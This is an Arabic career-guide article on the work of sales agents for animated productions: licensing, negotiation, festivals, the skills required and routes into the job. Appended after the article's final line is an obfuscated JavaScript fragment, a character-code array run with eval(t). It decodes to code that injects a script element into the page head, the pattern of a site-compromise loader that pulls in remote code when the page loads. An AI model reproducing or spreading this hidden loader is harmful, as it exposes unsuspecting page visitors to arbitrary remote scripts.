يُعرف أيضًا بـ: مدير المبيعات ، وكيل المبيعات
ما هو عمل مدير المبيعات؟
يتيح مديرو المبيعات إمكانية عرض إنتاج متحرك – سواء كان ذلك في السينما أو على قناة تلفزيونية أو منصة بث. يعملون نيابة عن المنتج لترخيص حقوق الإنتاج على المنصات أو القنوات في جميع أنحاء العالم.
يتفاوض مديرو المبيعات على الرسوم والشروط التجارية مع المنصات أو القنوات. تستند مفاوضاتهم على تقديرهم لكمية الأموال التي سيجنيها الإنتاج في شباك التذاكر أو من خلال الإعلانات أو بيع البضائع. في الرسوم المتحركة ، تأتي نسبة أعلى بكثير من الإيرادات من البضائع مما هي عليه الحال مع أفلام الحركة الحية. على سبيل المثال ، تحقق العلامة التجارية Peppa Pig من Astley Baker Davies حوالي 200 مليون جنيه إسترليني من مبيعات المنتجات المرخصة في المملكة المتحدة كل عام ، وهو ما يعادل 150 ضعفًا من ميزانية الإنتاج الأصلية. إنها مهمة وكيل المبيعات للتنبؤ بذلك بدقة.
عادة ما تكون شركات الرسوم المتحركة المستقلة الأصغر حجمًا التي تحتاج إلى مدير مبيعات حيث تقوم الشركات الكبرى بتوزيع أعمالها من قبل الشركات الفرعية أو فريق داخلي. عادة ، تحتاج شركة الرسوم المتحركة إلى إشراك مدير مبيعات قبل أن تبدأ الرسوم المتحركة لأنها تحتاج إلى صفقات ليتم تأمينها قبل البيع قبل أن تنفق الأموال على الإنتاج. سيقوم وكلاء المبيعات بترويج الأفلام وترويجها للمستثمرين أو المنصات أو القنوات باستخدام القصص المصورة والنصوص الفنية والمفاهيم الفنية في شكل الكتاب المقدس.
هم أيضا مسؤولون عن الترقية. يروجون للأفلام التي يمثلونها في المهرجانات وأسواق التلفزيون والسينما ، ويدعون موزعي الأفلام إلى العروض ويقيمون حفلات العرض الأول. إنهم يجمعون وينظمون تسليم أي مواد فيلم جسدية وعادة ما يشاركون في تطوير خطة التسويق.
يمكن لمديري المبيعات العمل لحسابهم الخاص أو لشركة توزيع. إنهم يكتسبون باستمرار محتوى جديدًا لبيعه من الرسوم المتحركة ويبنون علاقات مع العملاء في جميع أنحاء العالم ، لذلك تتضمن المهمة عادةً السفر.
ما هى مهارات مدير المبيعات الجيد ؟
الوعي التجاري: لديه وعي بالاتجاهات الثقافية ويعرف جماهير أفلام الرسوم المتحركة ، وفهم السوق وتوقعه على مستوى العالم وداخل كل دولة على حدة ، وتطلع إلى المواهب التي تناسب هذا (مع القدرة على قراءة النصوص بسرعة وبدقة)
معرفة الرسوم المتحركة: فهم جميع الجوانب التي ينطوي عليها عمل الرسوم المتحركة ، من النص إلى التمويل إلى مرحلة ما بعد الإنتاج ، ولديهم شغف بالوسيط وفهم ما هو موجود وعين ناقدة
التسويق: كن متحمسًا مع مهارات مبيعات قوية لتأمين الصفقات التنافسية ، وأن تكون قادرًا على تحديد قصة فيلم بطريقة مقتضبة وجذابة وجهاً لوجه ، وفهم التسويق الرقمي ووسائل التواصل الاجتماعي
التواصل: إقامة علاقات جيدة والتواصل باستمرار مع منافذ التوزيع ومبرمجي المهرجانات وكذلك مع استوديوهات الرسوم المتحركة وصانعي الأفلام الفردية ، واستخدام المهارات اللغوية للسفر واحتضان الثقافات الأخرى ، ولديهم معرفة واسعة بمهرجانات الأفلام والأسواق
التفاوض: أن تكون مرنًا ، وقادرًا على التفاوض على الشروط ، ووضع العقود ، وفهم الترخيص ، وحقوق التأليف والنشر
التمويل: تعامل مع الأرقام ، ولديك المعرفة المالية لإجراء توقعات المبيعات ، والتفاوض على التمويل والتعامل مع الميزانية
مع من يعمل مدير المبيعات؟
يتواصل وكلاء المبيعات مع موزعي الأفلام والمنصات والقنوات نيابة عن المنتجين حتى يعملون بشكل وثيق مع كل من هذه المجموعات. يتعاونون أيضًا مع أشخاص آخرين في المبيعات والتوزيع مثل مديري التسويق ومديري التراخيص (الذين يساعدون في الميزانيات والعقود والتسويق).
كيف اصبح مدير مبيعات؟
الأدوار التنفيذية للمبيعات هي المناصب العليا. لتصبح مدير مبيعات تحتاج إلى مستوى عال من المعرفة والخبرة في الصناعة. سوف تتولى وكالات مساعدة مساعدي مبيعات الأفلام. طريق آخر جيد لأدوار المبيعات هو مساعد التسويق. يزداد وكلاء المبيعات أيضًا من خلفيات القانون.
الدراسة الاكاديمية
كليات التجارة بالجامعات المصرية الحكومية والخاصة
تطوع:
ابحث عن المؤسسات الخيرية أو مسرح الهواة أو الرسوم المتحركة للطلاب أو إنتاج الأفلام. اسأل عما إذا كان بإمكانك القيام بوسائل التواصل الاجتماعي الخاصة بهم. قم بإنشاء حملة وتتبع كيف أدت حملتك إلى زيادة عدد زوار موقع الويب أو التبرعات أو مبيعات التذاكر. ضع ذلك على سيرتك الذاتية.
ابدأ قناتك الخاصة:
قم بإعداد موقع مراجعة مدونة أو قناة محتوى. هذه هي النسخة التسويقية من وجود ملف سابقة الاعمال. يمكنك إرسال رابط مع سيرتك الذاتية لإظهار مهاراتك في الكتابة ومهارات الإنترنت ، والأهم من ذلك ، اهتمامك بالرسوم المتحركة.
احصل على درجة علمية:
إن الحصول على درجة علمية في دراسات الأفلام أو القانون أو دراسات الأعمال أو وسائل الإعلام والاتصالات وسيلة جيدة في هذا المجال. قد تستفيد أيضًا من ماجستير إدارة الأعمال في إنتاج الأفلام أو تاريخها أو تمويلها.
الحصول على خبرة عمل:
تحقق مما إذا كان بإمكانك العثور على خبرة عمل في وكالة مبيعات الأفلام أو في قسم التسويق أو الأعمال في صناعة مختلفة. سيساعدك ذلك على تطوير مهاراتك في هذا المجال وبناء اتصالات.
أنظر خارج الصناعة:
ضع في اعتبارك الأدوار القانونية أو المالية أو التجارية أو التسويقية في أي صناعة حيث أن الخبرة العملية في مبيعات الأفلام تنافسية للغاية. ستظهر لك خلفية في المبيعات أو الأعمال أو التمويل أن لديك المهارات التحليلية اللازمة لهذا الدور.
خذ دورة تدريبية قصيرة:
صقل مهاراتك في مبيعات الأفلام من خلال أخذ دورة تدريبية متخصصة.
شبكة التواصل:
تعرف على الأشخاص في صناعة الرسوم المتحركة من خلال حضور المناسبات الفنية . قابل وكلاء المبيعات ومديري التسويق والموزعين بالإضافة إلى صانعي الأفلام واسألهم أسئلة حول عملهم ، مع إظهار الاهتمام والمعرفة في الصناعة. اعرض تزويدهم بتفاصيل الاتصال المهنية الخاصة بك وحاول البقاء على اتصال معهم.
البحث عن وظائف:
ابحث عن شركات الرسوم المتحركة أو وكالات مبيعات الأفلام والوسائط المتخصصة أو شركات التسويق التي ترغب في العمل بها. انتقل إلى مواقع الويب الخاصة بهم وتحقق مما إذا كانوا يعلنون عن أدوار صغيرة في المبيعات أو الأعمال أو التسويق. يمكنك أيضًا إرسال سيرة ذاتية للمضاربة واطلب من أصحاب العمل الاحتفاظ بها في ملف حتى يتمكنوا من النظر في حالة ظهور أي وظائف مناسبة. البحث في مواقع العمل عن أدوار مساعد التسويق والتقدم للوظائف.
قد تكون مهتم ايضا ب…
أن تكون دعاية أو مدير تسويق أو وكيل مبيعات للفيلم أو الدراما التلفزيونية.
107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);